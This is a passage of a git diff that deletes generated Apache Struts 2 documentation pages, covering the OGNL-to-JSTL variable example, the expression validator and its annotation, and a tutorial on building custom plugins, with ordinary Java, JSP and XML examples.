-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14260">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14260">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14260">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14260">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;s:set name="jobz" value="jobs" scope="request" /&gt;</pre>
-</div></div>
-
-<p>The full example below shows a Struts 2/OGNL variable "jobs" being exposed as "jobz" to the request scope and being used with jstl and the display tag.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ taglib uri="/WEB-INF/tlds/c.tld" prefix="c" %&gt;
-&lt;%@ taglib uri="/WEB-INF/tlds/fmt.tld" prefix="fmt" %&gt;
-&lt;%@ taglib uri="/WEB-INF/tlds/displaytag-el-12.tld" prefix="display" %&gt;
-&lt;%@ taglib uri="/struts-tags" prefix="s" %&gt;
-
-&lt;s:set name="jobz" value="jobs" scope="request" /&gt;
-
-&lt;h1&gt;&lt;fmt:message key="title.listAllJobs"/&gt;&lt;/h1&gt;
-&lt;display:table name="jobz" class="simple" id="row" &gt;
-  &lt;display:column  titleKey="label.global.actions" &gt;
-  		&lt;c:url var="viewurl" value="/viewJobDetail.action"&gt;
-			&lt;c:param name="name" value="${row.name}"/&gt;
-  			&lt;c:param name="groupName" value="${row.group}"/&gt;
-		&lt;/c:url&gt;
-  		&lt;c:url var="exeurl" value="/viewJobDetail.action"&gt;
-			&lt;c:param name="name" value="${row.name}"/&gt;
-  			&lt;c:param name="groupName" value="${row.group}"/&gt;
-  			&lt;c:param name="executeJobAction" value="execute"/&gt;
-		&lt;/c:url&gt;
-  		&lt;c:url var="editurl" value="/viewJobDetail.action"&gt;
-			&lt;c:param name="name" value="${row.name}"/&gt;
-  			&lt;c:param name="groupName" value="${row.group}"/&gt;
-  			&lt;c:param name="editAction" value="edit"/&gt;
-		&lt;/c:url&gt;
-	&lt;a href='&lt;c:out value="${viewurl}"/&gt;'&gt;&lt;fmt:message key="label.global.view"/&gt;&lt;/a&gt; |
-	&lt;a href='&lt;c:out value="${editurl}"/&gt;'&gt;&lt;fmt:message key="label.global.edit"/&gt;&lt;/a&gt; |
-	&lt;a href='&lt;c:out value="${exeurl}"/&gt;'&gt;&lt;fmt:message key="label.global.execute"/&gt;&lt;/a&gt; &amp;nbsp;
-  &lt;/display:column&gt; 
-
-  &lt;display:column property="group" titleKey="label.job.group" sortable="true"   /&gt;
-  &lt;display:column property="name" titleKey="label.job.name" sortable="true"  /&gt;
-  &lt;display:column property="description" titleKey="label.job.description" /&gt;
-  &lt;display:column property="jobClass" titleKey="label.job.jobClass" sortable="true"  /&gt;
-
-&lt;/display:table&gt;</pre>
-</div></div>
-
-<p>Please note, at the time of this writing the "titleKey" attribute of the display tag's column tag is not yet released into a final version. It is a feature that is currently only available through cvs.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/expression-validator.html b/content/docs/expression-validator.html
deleted file mode 100644
index e4b8d48..0000000
--- a/content/docs/expression-validator.html
+++ /dev/null
@@ -1,171 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>expression validator</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="expression-validator.html">expression validator</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">expression validator</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14223">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14223">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14223">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14223">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14223">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14223">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<h1 id="expressionvalidator-Description">Description</h1>
-<p>A Non-Field Level validator that validates based on regular expression supplied.</p>
-
-
-<h1 id="expressionvalidator-Parameters">Parameters</h1>
-<p></p><ul><li>expression - the Ognl expression to be evaluated against the stack (Must evaluate to a Boolean)</li></ul>
-
-
-<h1 id="expressionvalidator-Examples">Examples</h1>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;validators&gt;
-      &lt;validator type=&quot;expression&quot;&gt;
-         &lt;param name=&quot;expression&quot;&gt; .... &lt;/param&gt;
-         &lt;message&gt;Failed to meet Ognl Expression  .... &lt;/message&gt;
-      &lt;/validator&gt;
-&lt;/validators&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/expressionvalidator-annotation.html b/content/docs/expressionvalidator-annotation.html
deleted file mode 100644
index e0a727d..0000000
--- a/content/docs/expressionvalidator-annotation.html
+++ /dev/null
@@ -1,171 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>ExpressionValidator Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="expressionvalidator-annotation.html">ExpressionValidator Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">ExpressionValidator Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13968">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13968">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13968">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13968">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13968">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13968">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<h1 id="ExpressionValidatorAnnotation-ExpressionValidatorAnnotation">ExpressionValidator Annotation</h1>
-
-<p>This non-field level validator validates a supplied regular expression.</p>
-
-<h2 id="ExpressionValidatorAnnotation-Usage">Usage</h2>
-
-<p></p><p>The annotation must be applied at method level.</p>
-
-<h2 id="ExpressionValidatorAnnotation-Parameters">Parameters</h2>
-
-<p><table class="confluenceTable" summary=""><tr><th colspan="1" rowspan="1" class="confluenceTh"> Parameter </th><th colspan="1" rowspan="1" class="confluenceTh"> Required </th><th colspan="1" rowspan="1" class="confluenceTh"> Default </th><th colspan="1" rowspan="1" class="confluenceTh"> Notes </th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd">message</td><td colspan="1" rowspan="1" class="confluenceTd">yes</td><td colspan="1" rowspan="1" class="confluenceTd">&#160;</td><td [...]
-
-<h2 id="ExpressionValidatorAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-@ExpressionValidator(message = &quot;Default message&quot;, key = &quot;i18n.key&quot;, shortCircuit = true, expression = &quot;an OGNL expression&quot; )
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/extending-an-application-with-custom-plugins.html b/content/docs/extending-an-application-with-custom-plugins.html
deleted file mode 100644
index 8e7f3bb..0000000
--- a/content/docs/extending-an-application-with-custom-plugins.html
+++ /dev/null
@@ -1,251 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Extending an Application with Custom Plugins</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="extending-an-application-with-custom-plugins.html">Extending an Application with Custom Plugins</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Extending an Application with Custom Plugins</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=51021">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=51021">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=51021">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=51021">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=51021">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=51021">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>In this tutorial, we will show how easily our application can be made extensible using the Struts 2 plugin mechanism. To keep the demonstration simple, our plugin will expose a JavaBean that writes a message. Plugins may include any combination of JavaBeans, Actions, Interceptors, Results or other resources we'd like available to an application. </p>
-
-<h2 id="ExtendinganApplicationwithCustomPlugins-TheInterface">The Interface</h2>
-
-<p>At runtime, plugins are retrieved and referenced via an Interface. So, first, we should define an interface that our plugin will implement. This interface must be available to both our web application and the plugin. To reduce coupling between the web application and the plugins, keep the interface in a separate JAR. </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>IMyPlugin.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package example;
-
-public interface IMyPlugIn {
-   String saySomething();
-}
-</pre>
-</div></div>
-
-<h2 id="ExtendinganApplicationwithCustomPlugins-ThePlugin">The Plugin</h2>
-
-<p>Now that we have an interface to implement we'll create the plugin. At load time, the framework looks for JARs containing a <code>struts-plugin.xml</code> file at the root of the archive. To create a plugin, all we need to do is build a JAR and put the expected <code>struts-plugin.xml</code> at the root. </p>
-
-<p>To get started, let's create a class that implements our IMyPlugin interface.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>MyPlugin.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package example.impl;
-
-import example.IMyPlugin; 
-
-public class MyPlugin implements IMyPlugin {
-   public String saySomething() {
-       return "We don't need no education";
-   }
-}
-</pre>
-</div></div>
-
-<p>Internally, the framework utilizes a number of JavaBeans. We can use the <code>bean</code> element to add our own JavaBeans to the set managed by the framework.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>struts-default.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;?xml version="1.0" encoding="UTF-8" ?&gt;
-
-&lt;!DOCTYPE struts PUBLIC
-    "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
-    "http://struts.apache.org/dtds/struts-2.0.dtd"&gt;
-
-&lt;struts&gt;
-    &lt;bean type="example.IMyInterface" class="example.impl.MyPlugin" name="myPlugin"/&gt;
-&lt;/struts&gt;
-</pre>
-</div></div>
-
-<p>Finally, to install the plugin, drop the JAR file under WEB-INF/lib.</p>
-
-<h2 id="ExtendinganApplicationwithCustomPlugins-TheAction">The Action</h2>
-
-<p>The JavaBeans configured by <code>bean</code> elements can be retrieved via a Container provided by XWork 2. We obtain a reference to the Container by using the <code>@Inject</code> notation. (This notation is part of the Guice framework that XWork and Struts use under the covers.) The framework predefines a Container object, and the <code>@Inject</code> annotation tells the framework to set its Container object to the Action property.</p>
-
-<p>We might want to supply a number of JavaBeans to the application this way. In the Action, we will obtain a reference to the entire set of JavaBeans that might have been plugged in. Then, we can scroll through the set, displaying each JavaBean's message.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>MyAction.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package example.actions;
-
-import example.IMyPlugin;
-
-public class MyAction extends ActionSupport {
-    Set&lt;IMyPlugin&gt; plugins;
-
-    @Inject
-    public void setContainer(Container container) {
-        Set&lt;String&gt; names = container.getInstanceNames(IMyPlugin.class);
-        plugins = new HashSet&lt;IMyPlugin&gt;();
-        for (String name : names) {
-            plugins.add(container.getInstance(IMyPlugin.class, name));
-        }
-    }
-
-    public Set&lt;IMyPlugin&gt; getPlugins() {
-        return this.plugins;
-    }
-}
-</pre>
-</div></div>
-
-<p>As seen by the Action class code, it's important to define a unique interface for any beans that we plugin, so that we can identify our beans later. </p>
-
-<p>In the same way that we plugged in this JavaBean, we could also plugin and configure Action classes, Interceptors, Results, or any other JAR-able resource that an application might utilize.</p>
-
-<h2 id="ExtendinganApplicationwithCustomPlugins-TheJSP">The JSP</h2>
-
-<p>Let's do something with those plugins:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Page.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:iterator id="plugin" value="plugins"&gt;
-  &lt;s:property value="#plugin.saySomething()"/&gt;
-&lt;/s:iterator&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/extending-themes.html b/content/docs/extending-themes.html
deleted file mode 100644
index 8f65b21..0000000
--- a/content/docs/extending-themes.html
+++ /dev/null
@@ -1,167 +0,0 @@
